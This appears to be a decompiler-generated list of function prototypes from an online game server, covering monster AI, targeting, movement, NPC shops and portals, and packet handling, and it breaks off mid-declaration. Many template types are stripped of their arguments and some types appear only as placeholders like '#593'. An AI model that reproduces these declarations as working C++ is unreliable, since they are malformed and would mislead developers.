std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::erase(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, std::_Tree,std::allocator,0> >::iterator _Where); void __thiscall std::_Tree_std::allocator_0>>::_Erase(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Rootnode); std::pair,std::allocator,0> >::iterator,bool> *__thiscall std::_Tree_std::allocator_0>>::insert(std::_Tree,std::allocator,0> > *this, std::pair,std::allocator,0> >::iterator,bool> *result, MobRoaming::MobRoamingPath *_Val); MobRoaming::MobRoamingPath *__thiscall MobRoaming::MobRoamingSet::mrs_Load(MobRoaming::MobRoamingSet *this, Name4 *world, ORToken *groupname); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::erase(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, std::_Tree,std::allocator,0> >::iterator _First, std::_Tree,std::allocator,0> >::iterator _Last); void __thiscall MobRoaming::MobRoamingSet::mrs_Load(MobRoaming::MobRoamingSet *this, Name4 *world); void __thiscall MobRoaming::MobRoamingSet::_MobRoamingSet(MobRoaming::MobRoamingSet *this); void __thiscall MobRoaming::MobRoamingSet::MobRoamingSet(MobRoaming::MobRoamingSet *this); void __thiscall ShineRadian2OctaDirect::ShineRadian2OctaDirect(ShineRadian2OctaDirect *this); void __thiscall ShineRadian2OctaDirect::sr2od_Coord(ShineRadian2OctaDirect *this, int sr, SHINE_XY_TYPE *coord); void __thiscall AxialListNearMobAnalyser::AxialListNearMobAnalyser(AxialListNearMobAnalyser *this); void __thiscall AxialListNearMobAnalyser::_AxialListNearMobAnalyser(AxialListNearMobAnalyser *this); AxialListNearMobAnalyser::ALNMA_ScantterDirect __thiscall AxialListNearMobAnalyser::alnma_ScatterDirect(AxialListNearMobAnalyser *this); char __thiscall AxialListNearMobAnalyser::ali_Work(AxialListNearMobAnalyser *this, #593 *, #593 *, unsigned int); void __thiscall ShineObjectClass::ShineMob::sm_Scattering(void *this); #593 *__thiscall MobTargetSelector::mts_TargetObject(MobTargetSelector *this); SkillDataBox::SkillDataIndex *__thiscall ShineObjectClass::ShineMob::sm_GetWeaponCastTime(int this); void __thiscall ShineObjectClass::ShineMob::sm_SetTarget(int this, __int16 targethandle); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionNeededTarget::mant_SetTarget(MobTacticElement::MobActionNeededTarget *this, #593 *target); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionInChase::maic_SetReserv(MobTacticElement::MobActionInChase *this, #593 *, MobTacticElement::MobActionBase *, MobTacticElement::MobActionBase *); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionTurning::mat_Reserv(MobTacticElement::MobActionTurning *this, MobTacticElement::MobActionBase *nxt, #615 *me, #593 *target); signed __int16 __cdecl ShineObjectClass::ShineObject::so_CurrentTargetHandle(); unsigned __int16 __thiscall MobTacticElement::MobActionNeededTarget::mab_GetTargetHandle(MobTacticElement::MobActionNeededTarget *this); #593 *__thiscall MobTacticElement::MobActionNeededTarget::mab_GetTargetObject(MobTacticElement::MobActionNeededTarget *this); void __thiscall MobTacticElement::MobActionInMove::MobActionInMove(MobTacticElement::MobActionInMove *this); void __thiscall MobTacticElement::DuringReturn2Regen::DuringReturn2Regen(MobTacticElement::DuringReturn2Regen *this); void __thiscall MobTacticElement::MobActionInChase::MobActionInChase(MobTacticElement::MobActionInChase *this); void __thiscall MobTacticElement::MobActionInMove_Cancelable::MobActionInMove_Cancelable(MobTacticElement::MobActionInMove_Cancelable *this); void __thiscall MobTacticElement::MobActionWander::MobActionWander(MobTacticElement::MobActionWander *this); void __thiscall MobTacticElement::MobActionWander::_MobActionWander(MobTacticElement::MobActionWander *this); void __thiscall MobTacticElement::MobActionTargetting::MobActionTargetting(MobTacticElement::MobActionTargetting *this); void __thiscall MobTacticElement::MobActionNoBrain::_MobActionNoBrain(MobTacticElement::MobActionNoBrain *this); void __thiscall MobTacticElement::MobActionTurning::MobActionTurning(MobTacticElement::MobActionTurning *this); void __thiscall MobTacticElement::MobActionChase::MobActionChase(MobTacticElement::MobActionChase *this); void __thiscall MobTacticElement::MobAction2Region::MobAction2Region(MobTacticElement::MobAction2Region *this); void __thiscall MobTacticElement::MobActionBackStep::MobActionBackStep(MobTacticElement::MobActionBackStep *this); void __thiscall MobTacticElement::MobActionAvoidOverlap::MobActionAvoidOverlap(MobTacticElement::MobActionAvoidOverlap *this); void __thiscall MobTacticElement::MobActionWaitSkillEnd::MobActionWaitSkillEnd(MobTacticElement::MobActionWaitSkillEnd *this); void __thiscall MobTacticElement::MobActionSwingDamage::MobActionSwingDamage(MobTacticElement::MobActionSwingDamage *this); void __thiscall MobTacticElement::MobActionRoaming::MobActionRoaming(MobTacticElement::MobActionRoaming *this); void __thiscall MobTacticElement::MobActionNoBrain::MobActionNoBrain(MobTacticElement::MobActionNoBrain *this); void __thiscall MobTacticElement::MobActionWander::mab_Damaged(MobTacticElement::MobActionWander *this, MobTacticElement::MobActionArgument *argument); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionBase::mab_TargetChange(MobTacticElement::MobActionBase *this, MobTacticElement::MobActionArgument *argument); void __thiscall ShineObjectClass::ShineMob::sm_NextAttackSequence(int this); void __thiscall MobTacticElement::MobActionArgument::Actor::SetTargetPoint(MobTacticElement::MobActionArgument::Actor *this, #593 **ppTargetObject); GroupExpDistribute::NearFriendInformation *__cdecl std::_Copy_opt(GroupExpDistribute::NearFriendInformation *_First, GroupExpDistribute::NearFriendInformation *_Last, GroupExpDistribute::NearFriendInformation *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); TickTimer *__cdecl std::_Copy_backward_opt(TickTimer *_First, TickTimer *_Last, TickTimer *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall MobTacticElement::MobActionBase::mab_WalkTo(MobTacticElement::MobActionBase *this, #615 *, SHINE_XY_TYPE *); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionBase::mab_Think(MobTacticElement::MobActionBase *this, MobTacticElement::MobActionArgument *argument); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionInMove::mab_Think(MobTacticElement::MobActionInMove *this, MobTacticElement::MobActionArgument *argument); MobTacticElement::MobActionBase *__thiscall MobTacticElement::DuringReturn2Regen::mab_Think(MobTacticElement::DuringReturn2Regen *this, MobTacticElement::MobActionArgument *argument); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionWaitSkillEnd::mab_Think(MobTacticElement::MobActionWaitSkillEnd *this, MobTacticElement::MobActionArgument *argument); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionWander::maw_MetronomeReset(MobTacticElement::MobActionWander *this); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionWaitSkillEnd::mawse_SetNextAction(MobTacticElement::MobActionWaitSkillEnd *this, unsigned int endofskill, MobTacticElement::MobActionBase *next, #593 *target); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionSwingDamage::masd_SetDelay(MobTacticElement::MobActionSwingDamage *this, int delay, MobTacticElement::MobActionBase *next, #593 *target); char __thiscall MobTacticElement::MobActionBase::mab_SkillRegistAtScript(MobTacticElement::MobActionBase *this, #593 *, unsigned __int16, int); char __thiscall MobTacticElement::MobActionAttack::mab_SkillRegistAtScript(MobTacticElement::MobActionAttack *this, #593 *, unsigned __int16, int); void __thiscall MobTacticElement::MobActionAttack::maa_SkillFromScriptClear(MobTacticElement::MobActionAttack *this); void __thiscall MobTacticElement::MobActionAttack::MobActionAttack(MobTacticElement::MobActionAttack *this); void __thiscall MobTacticElement::MobActionBase::mab_RunTo(MobTacticElement::MobActionBase *this, #615 *, SHINE_XY_TYPE *); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionInChase::mab_Think(MobTacticElement::MobActionInChase *this, MobTacticElement::MobActionArgument *argument); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionTargetting::mab_Think(MobTacticElement::MobActionTargetting *this, MobTacticElement::MobActionArgument *argument); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionTurning::mab_Think(MobTacticElement::MobActionTurning *this, MobTacticElement::MobActionArgument *argument); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionAttack::mab_CaptivatePlayerAttack(MobTacticElement::MobActionAttack *this, MobTacticElement::MobActionArgument *argument); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobAction2Region::mab_Think(MobTacticElement::MobAction2Region *this, MobTacticElement::MobActionArgument *argument); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionBackStep::mab_Think(MobTacticElement::MobActionBackStep *this, MobTacticElement::MobActionArgument *argument); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionSwingDamage::mab_Think(MobTacticElement::MobActionSwingDamage *this, MobTacticElement::MobActionArgument *argument); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionBase::mab_RandomDirectWalk(MobTacticElement::MobActionBase *this, #615 *, int, MobTacticElement::MobActionBase *, MobTacticElement::MobActionBase *, MobTacticElement::MobActionArgument *); char __thiscall ShineObjectClass::ShineMob::sm_SkillExchange_OutOfRange(void *this); char __thiscall ShineObjectClass::ShineMob::sm_SkillExchange_HPLow(void *this); char __thiscall ShineObjectClass::ShineMob::sm_SkillExchange_TargetState(void *this, int a2); char __thiscall ShineObjectClass::ShineMob::sm_SkillExchange_HPLow_ChangeOrder(int this); TickTimer *__cdecl std::_Uninit_copy>(TickTimer *_First, TickTimer *_Last, TickTimer *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionWander::mab_Think(MobTacticElement::MobActionWander *this, MobTacticElement::MobActionArgument *argument); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionAttack::mab_Think(MobTacticElement::MobActionAttack *this, MobTacticElement::MobActionArgument *argument); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionRoaming::mab_Think(MobTacticElement::MobActionRoaming *this, MobTacticElement::MobActionArgument *argument); void __cdecl std::_Uninit_fill_n>(TickTimer *_First, unsigned int _Count, TickTimer *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall std::vector>::_Destroy(std::vector > *this, Navigator::NaviPoint *_First, Navigator::NaviPoint *_Last); void __thiscall std::vector>::_Tidy(std::vector > *this); std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last); void __thiscall std::vector>::_Xlen(std::vector > *this); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, Navigator::NaviPoint *_Val); void __thiscall StaticVector::_StaticVector(StaticVector *this); void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count); // void __usercall _L184816(int a1); void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count); // void __usercall _L184936(int a1); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, Navigator::NaviPoint _Val); bool __thiscall std::vector>::_Buy(std::vector > *this, unsigned int _Capacity); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize); void __thiscall StaticVector::StaticVector(StaticVector *this, int maxsize); void __thiscall StaticVector::StaticVector(StaticVector *this, int maxsize); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionChase::mab_Think(MobTacticElement::MobActionChase *this, MobTacticElement::MobActionArgument *argument); void __thiscall MobTargetBout::MobTargetBout(MobTargetBout *this); void __thiscall MobTargetAggresive::MobTargetAggresive(MobTargetAggresive *this); void __thiscall MobTargetAggresive::_MobTargetAggresive(MobTargetAggresive *this); void __thiscall MobTargetAggresive2::MobTargetAggresive2(MobTargetAggresive2 *this); void __thiscall MobTargetAggresive2::_MobTargetAggresive2(MobTargetAggresive2 *this); void __thiscall MobTargetNoBrain::MobTargetNoBrain(MobTargetNoBrain *this); void __thiscall MobTargetBout::_MobTargetBout(MobTargetNoBrain *this); char __thiscall SlayerCollect::lid_Call(SlayerCollect *this, MobTargetStruct *ele, unsigned __int16 handle); void __thiscall List::_List(List *this); void __thiscall MobAggroManager::_MobAggroManager(MobAggroManager *this); void *__thiscall MobTargetBout::_vector_deleting_destructor_(MobTargetNoBrain *this, unsigned int); void *__thiscall MobTargetAggresive::_scalar_deleting_destructor_(MobTargetAggresive *this, unsigned int); void *__thiscall MobTargetAggresive2::_vector_deleting_destructor_(MobTargetAggresive2 *this, unsigned int); void __thiscall MobTargetBout::mts_SlayerList(MobTargetBout *this, PROTO_NC_BAT_MOBSLAYER_CMD *pack, unsigned __int16 mob); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); char __thiscall List::l_PushA(List *this, MobTargetStruct *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall List::l_PushZ(List *this, MobTargetStruct *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall List::l_PopA(List *this, MobTargetStruct *ele); char __thiscall List::l_PopZ(List *this, MobTargetStruct *ele); void __thiscall MobAggroManager::MobAggroManager(MobAggroManager *this); void __thiscall MoveManager::mm_RecalcSpeed(MoveManager *this, int speed); void __thiscall AxialListBriefExchangerAtMove::_AxialListBriefExchangerAtMove(AxialListBriefExchangerAtMove *this); void __thiscall AxialListBriefDeleteAtMove::_AxialListBriefDeleteAtMove(AxialListBriefDeleteAtMove *this); void __thiscall MoveManager::mm_MoveStart(MoveManager *this, SHINE_XY_TYPE *to, int charSpeed, MoveManager::MMState state); char __thiscall AxialListBriefExchangerAtMove::ali_Work(AxialListBriefExchangerAtMove *this, #593 *, #593 *, unsigned int); void __thiscall ShineObjectClass::ShineMobileObject::smo_NewObjBriefInfoChange(void *this, int goal); char __thiscall AxialListBriefDeleteAtMove::ali_Work(AxialListBriefDeleteAtMove *this, #593 *, #593 *, unsigned int); void __thiscall ShineObjectClass::ShineMobileObject::smo_OldObjectDelete(void *this, int from); char __thiscall ShineObjectClass::ShineObject::so_FindBlockLocateFrom(void *this, int from, int locate, int distance, int div, int (__thiscall *xcoord)(_DWORD, _DWORD, _DWORD)); char __thiscall ShineObjectClass::ShinePlayer::smo_CheckBlockDuringMoving(void *this, int to); char __stdcall ShineObjectClass::ShineMobileObject::smo_BlockCheck(int finalx, int finaly); bool __thiscall ShineObjectClass::ShinePlayer::sp_MoveBlockCheck(void *this, unsigned int x, unsigned int y); char __thiscall ShineObjectClass::ShinePlayer::sp_MoveFindEmpty(void *this, unsigned int x, unsigned int y); char __cdecl ShineObjectClass::ShineMobileObject::smo_StopBlockCheck(); void __thiscall MoveManager::mm_Step(MoveManager *this, bool ignoreElapsedTime); char __thiscall ShineObjectClass::ShineObject::so_FindBlockLocate(void *this, int locate, int distance, int goal, int (__thiscall *mbi_blockfunction)(_DWORD, _DWORD, _DWORD)); char __thiscall ShineObjectClass::ShinePlayer::smo_BlockCheck(void *this, unsigned int finalx, unsigned int finaly); char __thiscall ShineObjectClass::ShinePlayer::smo_StopBlockCheck(void *this); unsigned int __thiscall std::vector>::size(std::vector > *this); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); void __cdecl std::fill(MultiHitData::MultiHitElement *_First, MultiHitData::MultiHitElement *_Last, MultiHitData::MultiHitElement *_Val); MultiHitData::MultiHitElement *__cdecl std::copy_backward(MultiHitData::MultiHitElement *_First, MultiHitData::MultiHitElement *_Last, MultiHitData::MultiHitElement *_Dest); MultiHitData::MultiHitElement *__cdecl std::_Uninit_copy>(MultiHitData::MultiHitElement *_First, MultiHitData::MultiHitElement *_Last, MultiHitData::MultiHitElement *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __cdecl std::_Uninit_fill_n>(MultiHitData::MultiHitElement *_First, unsigned int _Count, MultiHitData::MultiHitElement *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); MultiHitData::MultiHitElement *__thiscall MultiHitData::MultiHitTable::operator__(MultiHitData::MultiHitTable *this, unsigned __int16 sub); MultiHitData::MultiHitElement *__thiscall std::vector>::_Ufill(std::vector > *this, MultiHitData::MultiHitElement *_Ptr, unsigned int _Count, MultiHitData::MultiHitElement *_Val); std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last); void __thiscall std::vector>::_Xlen(std::vector > *this); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, MultiHitData::MultiHitElement *_Val); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, MultiHitData::MultiHitElement _Val); void __thiscall MultiHitData::MultiHitTable::mht_Load(MultiHitData::MultiHitTable *this); void __thiscall ShineMultiTypeHandle::ShineMultiTypeHandle(ShineMultiTypeHandle *this); char __thiscall ShineMultiTypeHandle::IsEmptyHandle(ShineMultiTypeHandle *this); void __thiscall ShineMultiTypeHandle::SetEmptyHandle(ShineMultiTypeHandle *this); char __thiscall ShineMultiTypeHandle::IsAloneType(ShineMultiTypeHandle *this); void __thiscall ShineMultiTypeHandle::SetShineObject(ShineMultiTypeHandle *this, #593 *looter); void __thiscall ShineMultiTypeHandle::SetShinePartyRegnum(ShineMultiTypeHandle *this, unsigned __int16 PartyRegNum, unsigned int LooterRegNo); void __thiscall ShineMultiTypeHandle::SetShineRaidRegnum(ShineMultiTypeHandle *this, unsigned __int16 RaidRegNum, unsigned int LooterRegNo); unsigned int __thiscall ShineMultiTypeHandle::GetLooterCharRegNo(ShineMultiTypeHandle *this); char __thiscall ShineMultiTypeHandle::IsCanItemPickForPartyRaid(ShineMultiTypeHandle *this, unsigned __int16 CharHandle); char __thiscall ShineMultiTypeHandle::IsCanItemPick(ShineMultiTypeHandle *this, #593 *, ItemDataBox::ItemDataBoxIndex *); void __thiscall AxialListNearScan::AxialListNearScan(AxialListNearScan *this); int __thiscall AxialListNearScan::alns_GetNumber(AxialListNearScan *this); #593 *__thiscall AxialListNearScan::alns_GetMember(AxialListNearScan *this, int nIndex); int __cdecl AxialListNearScan::alns_Compare(const void *a, const void *b); char __thiscall AxialListNearScanNPC::IsFireExist(AxialListNearScanNPC *this); char __thiscall AxialListNearScanNPC::alns_ValidObject(AxialListNearScanNPC *this, #593 *obj); void __thiscall AxialListNearScanEnemyorAll::AxialListNearScanEnemyorAll(AxialListNearScanEnemyorAll *this, #593 *, bool, bool); char __thiscall AxialListNearScanEnemyorAll::alns_ValidObject(AxialListNearScanEnemyorAll *this, #593 *obj); void __thiscall AxialListNearScanRandomEnemy::AxialListNearScanRandomEnemy(AxialListNearScanRandomEnemy *this, #593 *, #593 *, int); char __thiscall AxialListNearScanRandomEnemy::alns_ValidObject(AxialListNearScanRandomEnemy *this, #593 *obj); void __thiscall AxialListLimitAreaScan::AxialListLimitAreaScan(AxialListLimitAreaScan *this); void __thiscall AxialListLimitAreaScan::allas_Init(AxialListLimitAreaScan *this); void __thiscall AxialListLimitAreaScan::allas_Init(AxialListLimitAreaScan *this, SkillDataBox::SkillDataIndex::AreaSkillInfo *pArea, SHINE_XY_TYPE nCoordinateAttacker, SHINE_XY_TYPE nCoordinateTarget); SHINE_XY_TYPE __thiscall AxialListLimitAreaScan::allas_GetEffectCoord(AxialListLimitAreaScan *this); void __thiscall AxialListNearScanObjectType::AxialListNearScanObjectType(AxialListNearScanObjectType *this, char nObjectType, char DeadCheck); void __thiscall AxialListNearScanObjectType::_AxialListNearScanObjectType(AxialListNearScanObjectType *this); char __thiscall AxialListNearScanObjectType::alns_ValidObject(AxialListNearScanObjectType *this, #593 *obj); char __thiscall AxialListNearScan::ali_Work(AxialListNearScan *this, #593 *, #593 *, unsigned int); char __thiscall AxialListNearScanRandomEnemy::ali_Work(AxialListNearScanRandomEnemy *this, #593 *, #593 *, unsigned int); char __thiscall AxialListLimitAreaScan::ali_Work(AxialListLimitAreaScan *this, #593 *, #593 *, unsigned int); char __thiscall AxialListNearScanObjectType::ali_Work(AxialListNearScanObjectType *this, #593 *, #593 *, unsigned int); void __thiscall NPCRole_Portal::nrb_BriefInformSet(NPCRole_Portal *this, #593 *, ORToken *); NPCManager::LinkInformTemplete *__thiscall NPCRole_Portal::nrb_SaveLinkData(NPCRole_Portal *this, int num); void __thiscall NPCRoleBase::nrb_Role(NPCRoleBase *this, #734 *, NPCManager::NPCIndexArray *, unsigned __int16); MobInfo *__thiscall BinaryDataBox::operator__(BinaryDataBox *this, unsigned int index); void __thiscall ShineObjectClass::ShinePlayer::sp_EndOfTrade(void *this, char servermenureset); void __thiscall NPCRole_Merchant::nrm_ShopMenuOpen(NPCRole_Merchant *this, #734 *, NPCManager::NPCIndexArray *, unsigned __int16, unsigned __int16, const char *, int, int); void __thiscall NPCRole_Merchant::nrm_GuildShopMenuOpen(NPCRole_Merchant *this, #734 *, NPCManager::NPCIndexArray *, unsigned __int16, unsigned __int16, const char *, int, int); void __thiscall NPCRole_Merchant::nrm_PortionStone(NPCRole_Merchant *this, #734 *, NPCManager::NPCIndexArray *, unsigned __int16, unsigned __int16); void __thiscall NPCRole_Portal::nrb_Role(NPCRole_Portal *this, #734 *, NPCManager::NPCIndexArray *, unsigned __int16); void __thiscall NPCRole_ID_Portal::nrb_Role(NPCRole_ID_Portal *this, #734 *, NPCManager::NPCIndexArray *, unsigned __int16); void __thiscall NPCRole_RandomMulti_Portal::nrb_Role(NPCRole_RandomMulti_Portal *this, #734 *, NPCManager::NPCIndexArray *, unsigned __int16); void __thiscall NPCRole_Merchant::nrb_Role(NPCRole_Merchant *this, #734 *, NPCManager::NPCIndexArray *, unsigned __int16); void __thiscall NPCRole_StoreManager::nrb_Role(NPCRole_StoreManager *this, #734 *, NPCManager::NPCIndexArray *, unsigned __int16); void __thiscall NPCRole_MenuOpen::nrb_Role(NPCRole_MenuOpen *this, #734 *, NPCManager::NPCIndexArray *, unsigned __int16); void __thiscall NPCRole_Merchant::nrb_EndOfTrade(NPCRole_Merchant *this, #734 *player); void __thiscall NPCRole_StoreManager::nrb_EndOfTrade(NPCRole_StoreManager *this, #734 *player); void __thiscall NPCRole_MenuOpen::nrb_EndOfTrade(NPCRole_MenuOpen *this, #734 *player); NPCRoleBase *__thiscall CurrentMenu::cm_MenuAction(CurrentMenu *this, #734 *ply); char __thiscall ShineObjectClass::ShinePlayer::InteractWithNPC(void *this, int a2); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_NPCMENUOPEN_ACK(void *ply, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_ENDOFTRADE_CMD(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::so_ply_EndofTrade(int this, __int16 Hnd, char Sservermenureset); void __thiscall NPCItemList::ItemListOption::ItemListOption(NPCItemList::ItemListOption *this); void __thiscall NPCItemList::NPCItemListTable::NPCItemListTable(NPCItemList::NPCItemListTable *this); void __thiscall NPCItemList::NPCItemListTable::_NPCItemListTable(NPCItemList::NPCItemListTable *this); PROTO_NC_MENU_SHOPOPENTABLE_CMD *__thiscall NPCItemList::ItemListOption::ilo_PacketMake(NPCItemList::ItemListOption *this, const char *mobindex); PROTO_NC_MENU_SHOPOPENTABLE_CMD *__thiscall NPCItemList::NPCItemListTable::nilt_MenuPacket(NPCItemList::NPCItemListTable *this, const char *mobindex); void __thiscall NPCItemList::NPCItemListTable::nilt_ReadTable(NPCItemList::NPCItemListTable *this, const char *mobindex); OptionReader *__thiscall NPCManager::operator_>(NPCManager *this); void __thiscall NPCManager::NPCManager(NPCManager *this); int __cdecl NPCManager::nm_HandleCompare(const void *a, const void *b); void __thiscall NPCRoleBase::NPCRoleBase(NPCRoleBase *this, NPCManager::NPCInformTemplete *npctemplet); NPCManager::LinkInformTemplete *__thiscall NPCRoleBase::nrb_linkinform(NPCRoleBase *this, int num); void __thiscall NPCRoleBase::_NPCRoleBase(NPCRoleBase *this); NPCManager::LinkInformTemplete *__thiscall NPCRole_Portal::nrb_linkinform(NPCRole_Portal *this, int num); void __thiscall NPCRole_ID_Portal::NPCRole_ID_Portal(NPCRole_ID_Portal *this, NPCManager::NPCInformTemplete *npctemplet); void __thiscall NPCRole_RandomMulti_Portal::NPCRole_RandomMulti_Portal(NPCRole_RandomMulti_Portal *this, NPCManager::NPCInformTemplete *npctemplet); void __thiscall NPCRole_Guard::NPCRole_Guard(NPCRole_Guard *this, NPCManager::NPCInformTemplete *npctemplet); void __thiscall NPCRole_MenuOpen::NPCRole_MenuOpen(NPCRole_MenuOpen *this, NPCManager::NPCInformTemplete *npctemplet); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); void __thiscall NPCManager::nm_Load(NPCManager *this, Name4 *world); void __thiscall NPCManager::nm_SetNPC(NPCManager *this); void __thiscall NPCManager::nm_MarkingNPC(NPCManager *this, Name8 MobIndex); void __thiscall NPCManager::nm_UnmarkNPC(NPCManager *this, Name8 MobIndex); unsigned int __thiscall NPCRole_Merchant::nrb_ItemSellPrice(NPCRole_Merchant *this, #593 *, unsigned __int16); unsigned int __thiscall NPCRole_Merchant::nrb_ItemBuyPrice(NPCRole_Merchant *this, #593 *, unsigned __int16); unsigned int __thiscall NPCRole_Merchant::nrb_ItemBuyGuildToken(NPCRole_Merchant *this, #593 *, unsigned __int16); unsigned int __thiscall NPCRole_Merchant::nrb_ItemBuyFame(NPCRole_Merchant *this, #593 *, unsigned __int16); unsigned int __thiscall NPCRole_Merchant::nrb_ItemBuyGBCoin(NPCRole_Merchant *this, #593 *, unsigned __int16); void __thiscall MerchantCityData::MerchantCityData(MerchantCityData *this); void __thiscall MerchantCityData::mcd_Load(MerchantCityData *this); int __thiscall MerchantCityData::mcd_city(MerchantCityData *this, unsigned __int16 mapindex); void __thiscall NPCRoleBase::nrb_LinkBrench(NPCRoleBase *this, #734 *, int, NPCManager::LinkInformTemplete *); void __thiscall NPCRole_Portal::nrb_LinkBrench(NPCRole_Portal *this, #734 *, int, NPCManager::LinkInformTemplete *); char __thiscall NPCRoleBase::nrb_LinkBrenchCheck(NPCRoleBase *this, NPCManager::LinkInformTemplete *lnkstr); char __thiscall NPCRole_Portal::nrb_LinkBrenchCheck(NPCRole_Portal *this, NPCManager::LinkInformTemplete *lnkstr); void __thiscall NPCManager::_NPCManager(NPCManager *this); void __thiscall OPToolObject::opto_SetSocketSession(OPToolObject *this, OPToolSession *pSession); void __thiscall OPToolSession::OPToolSession(OPToolSession *this); void __thiscall OPToolSession::_OPToolSession(OPToolSession *this); char __thiscall OPToolSession::opts_ConnectReady(OPToolSession *this); ORTable *__thiscall List::l_AllocA(List *this, unsigned __int16 hnd); ORTable *__thiscall List::l_AllocZ(List *this, unsigned __int16 hnd); char __thiscall List::l_PopA(List *this, ItemLotAnalyser::LotChanger *ele); char __thiscall OPToolObject::opto_Routine(OPToolObject *this, List *lst, unsigned __int16 handle); void __thiscall OPToolList::_OPToolList(OPToolList *this); void __thiscall OPToolSession::opts_DummyFunction(OPToolSession *this, NETCOMMAND *netcmd); void __thiscall OPToolSession::opts_NC_MISC_S2SCONNECTION_REQ(OPToolSession *this, NETCOMMAND *netcmd); void __thiscall OPToolSession::opts_NC_MISC_S2SCONNECTION_ACK(OPToolSession *this, NETCOMMAND *netcmd); void __thiscall OPToolSession::opts_NC_MISC_HEARTBEAT_REQ(OPToolSession *this, NETCOMMAND *netcmd); void __thiscall OPToolSession::opts_NC_OPTOOL_CONNECT_BRIF_REQ(OPToolSession *this, NETCOMMAND *netcmd); char __thiscall List::l_PushZ(List *this, ItemLotAnalyser::LotChanger *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak void __thiscall List::l_Clear(List *this); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall OPToolList::OPToolList(OPToolList *this); void __thiscall GlobalProtocolPacket::GlobalProtocolPacket(GlobalProtocolPacket *this); char __thiscall PacketContainer::pcb_Flush_Try_Catch(PacketContainer *this, ClientSession *session); void __thiscall ProtocolPacket::pp_SendPacket(ProtocolPacket *this, ZoneBaseSession *session); void __thiscall PacketContainerBase::pcb_Append(PacketContainerBase *this, #593 *, ProtocolPacket *); void __thiscall PacketContainer::pcb_Append(PacketContainer *this, #593 *, ProtocolPacket *); char __thiscall ProtocolPacket::pp_SetPacketLen(ProtocolPacket *this, int len); int __cdecl ShineObjectClass::ShineObject::so_ply_GetClientSession(); int __thiscall ShineObjectClass::ShinePlayer::so_ply_GetClientSession(void *this); void __thiscall Parameter::Cluster::c_clearplus(Parameter::Cluster *this); void __thiscall Parameter::Cluster::c_clearrate(Parameter::Cluster *this); signed int __thiscall Parameter::Container::IsNoAttacOrNoMove(int this); unsigned int __thiscall Parameter::Container::IsNoAttack(int this); signed int __thiscall Parameter::Container::c_TotalPram_MinusCheck(int this); void __thiscall ShineCommonParameter::ShineCommonParameter(ShineCommonParameter *this); signed __int16 __cdecl ShineObjectClass::ShineObject::so_IsInWeapon(); int __thiscall ShineObjectClass::ShinePlayer::so_IsInWeapon(int this); void __thiscall Parameter::ChangeByConditionParam::cbcp_Clear(Parameter::ChangeByConditionParam *this); void __thiscall Parameter::ChangeByConditionParam::cbcp_SetCondition(Parameter::ChangeByConditionParam *this, unsigned __int16 nID, unsigned int nConditionValue, unsigned int nChangeValue); void __thiscall Parameter::ChangeByConditionParam::cbcp_SendBuffer(Parameter::ChangeByConditionParam *this, int nParam, int nCharged, char nFlag, #593 *pObj); int __thiscall Parameter::ChangeByConditionParam::cbcp_GetValue(Parameter::ChangeByConditionParam *this, unsigned 